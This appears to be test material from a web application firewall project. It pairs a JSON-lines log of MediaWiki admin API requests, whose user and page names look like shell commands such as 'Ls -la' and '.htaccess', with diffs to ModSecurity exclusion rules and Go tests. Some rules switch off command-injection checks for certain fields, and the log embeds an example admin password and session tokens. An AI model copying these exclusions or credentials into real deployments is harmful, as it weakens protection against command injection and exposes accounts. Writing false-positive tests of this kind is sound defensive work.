{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 146", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Ls+-la&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 224", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=28%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Ls+-la+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 156", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=30%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Ls+-la+API+notes&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=32%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=.htaccess&expiry=1+week&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 152", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=.htaccess&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 230", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=36%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=.htaccess+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=38%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=.htaccess+API+notes&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=5ea1vridedmorakmd7vsjhusjm977r2c", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=38e20a279d9d5c4ceb05bfc8031203146af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=userrights&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 147", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Lighthouse&remove=bot&reason=Spamming+links&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=42%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Python3&remove=bot&reason=Spamming+links+to+python3+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
+1 -10
View File
@@ -1,17 +1,10 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused # The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before # ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set. # matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses: # WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1 # /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1 # /index.php/wp-json/wp/v2/posts/1
@@ -202,5 +195,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there. # so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \ SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer" "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
@@ -10,7 +10,6 @@ import (
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
@@ -22,7 +21,6 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block" block = "block"
detect = "detect" detect = "detect"
) )
@@ -292,27 +290,6 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
} }
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startDiscriminator(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, discriminator.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel() t.Parallel()
+1 -3
View File
@@ -221,8 +221,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in // up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS, // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -237,7 +236,6 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
}) })
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err) return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
@@ -153,10 +153,14 @@ func TestUnsetRouteWatchChangesNothing(t *testing.T) {
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) { func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
t.Parallel() t.Parallel()
// Another test can take a closed server's port at once, so routewatch's // A stand-in that is closed at once, so that the port refuses connections.
// address here is a multicast address, to which TCP cannot connect. dead := httptest.NewServer(http.NotFoundHandler())
url := dead.URL
dead.Close()
